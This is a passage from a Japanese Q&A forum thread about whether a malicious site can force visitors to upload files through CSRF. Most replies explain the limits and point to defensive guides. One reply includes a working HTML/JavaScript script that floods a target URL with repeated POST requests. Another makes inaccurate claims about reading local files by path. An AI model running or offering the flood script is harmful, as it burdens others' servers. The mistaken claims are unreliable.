ファイルをアップロードさせるような攻撃は可能でしょうか。
可能であれば仕組みと方法を教えてください。
No.3の方の解説には間違いがありますね。
file型input要素には、Javascriptからアップロードファイルを設定することができません。もちろんセキュリティ上の理由からの制限で、質問者様が危惧なさっているとおりの事態を避けるためのものです。
というわけで、HTML+Javascriptのみに限って言えばご質問のような攻撃は不可能です。FLASHが絡んだ場合のことはちょっと守備範囲外ですのでどなたかフォローを。
基本的にできません。
ファイルをアップロードするには、CGIなどのサーバーのプログラムが必要になります。(話それてるー!)
理由は、サーバーは、アクセス権限がないと入るのはできないからです。
CGIは、パーミッションと呼ばれる権限を持っているので大丈夫です。
サーバーにそのようなプログラムがあれば
htmlファイルを作って(テキストなんで、新規作成から新規テキストファイルをえらんで、拡張子を変える 拡張子の変え方は「http://ratan.dyndns.info/win/kakutyoushi.html」などを参考に)
↓テキスト(HTML)ファイル中身↓(自作)
<html><head><script type="text/javascript"><!-- set1=1000;//アクセスする間隔(ミリ秒 1000分の1秒) 小さくしすぎるとサーバーだけでなくPCやインターネット回線が..... set2="http://ここは変えてね/";//URL (攻撃のまと) set3=256;//ランダムで生成されるファイルの大きさ (大きくしすぎるとサーバーだけでなくPCやインターネット回線が..... set4="POST";//メソッド、GETかPOSTがある function on(){var dat="";for(var i=0;i<set3;i++){if(i<Math.sqrt(set3)) dat+="%0"+i.toString(16);else dat+="%"+i.toString(16);};var f=document.createElement("form");document.body.appendChild(f);f.action=set2;f.method=set4;f.target="at";var inp=document.createElement("input");f.appendChild(inp);inp.name="data";inp.value=dat;sub=function(){f.submit();};setInterval("sub()",set1);}; //--></script><title>保存テスト</title></head><body> <a href="javascript:on();void(0);">アタック</a> 攻撃サイト<iframe src="" name="at" width="200" height="150">この部分はインラインフレームを使用しています。</iframe> </body></html>
↑終わり↑
で、ブラウザで開いて、「アタック」をクリック!
ブラウザやパソコン、インターネット回線、(WEBサーバー)に迷惑をかけるので、自己責任で。
> ファイルをアップロードするには、CGIなどのサーバーのプログラムが必要になります。
CSRF ってどういう攻撃か、理解してますか?
CGI などの Web サーバサイドでプログラム側の欠陥(厳密に欠陥かどうかは、Web アプリケーションの仕様にもよるのですが)を突いて、罠サイトにアクセスすると、攻撃対象のサイトに POST するものを言います。
つまり、ファイルのアップロードを受ける Web サイトで CSRF に対する脆弱性を持つ Web サイトがすでに存在している、という状態で、罠サイトを用意して、ユーザが気づかないうちに、その脆弱性を持つサイトにファイルをアップロード出来るか、という話です。
詳しくは、「安全な Web アプリケーションの作り方」(通称:徳丸本)の 141 ページ以降を読んで下さい。
enctype=multipart/form-data とかの設定は要らないのでしょうか。
書いてもらったプログラムと説明は、いまいちよくわかりませんでした。
まじめに CSRF に対する対策を知りたいのであれば、IPA が公開している「安全なウェブサイトの作り方」の「1.6 CSRF(クロスサイト・リクエスト・フォージェリ)」を読んで下さい。
情報処理推進機構:情報セキュリティ:脆弱性対策:安全なウェブサイトの作り方
下手なブログ記事なんかよりも、しっかりとした対策内容が書いてあります。
ただ、この資料は CSRF の仕組み自体に関しては簡単にしか書かれていません。もし、その辺をしっかり学びたければ、通称:徳丸本と呼ばれる、下記の本を読むことをお薦めします。
体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
Aさんがホームページを開設しました。
Bさんがホームページを訪問した瞬間、パスワードを記録したpasswd.txtがAさんのホームページのサーバにアップロードされました。
Aさんはどのような攻撃方法をとったのでしょうか。ということでしたら、
img src="upload.php"として、upload.php読み込み時に指定したファイルパスを持つファイルがある場合、
それをアップロードするようあらかじめパスを書き込んだjavascriptを用意し、これとjquery.uploadで行う。
とかでしょうね。
ただ狙ったファイルのパスがわからないことにはアップロードさせようがありません。
passwd.txtが読み込んだ人のPC内にあったとして、
c:\usr\passwd.txtにあるのかc:\var\www\html\jquery\passwd.txtはクライアント以外にわからないからです。
逆にアップロードさせるファイルのパスがわかるのであれば、セキュリティにもよりますができるでしょう。
No.3の方の解説には間違いがありますね。
file型input要素には、Javascriptからアップロードファイルを設定することができません。もちろんセキュリティ上の理由からの制限で、質問者様が危惧なさっているとおりの事態を避けるためのものです。
というわけで、HTML+Javascriptのみに限って言えばご質問のような攻撃は不可能です。FLASHが絡んだ場合のことはちょっと守備範囲外ですのでどなたかフォローを。
ありがとうございます。参考になりました。
今回Flashを組み込む予定はないので大丈夫だと思います
ありがとうございます。参考になりました。
2013/03/25 11:07:13今回Flashを組み込む予定はないので大丈夫だと思います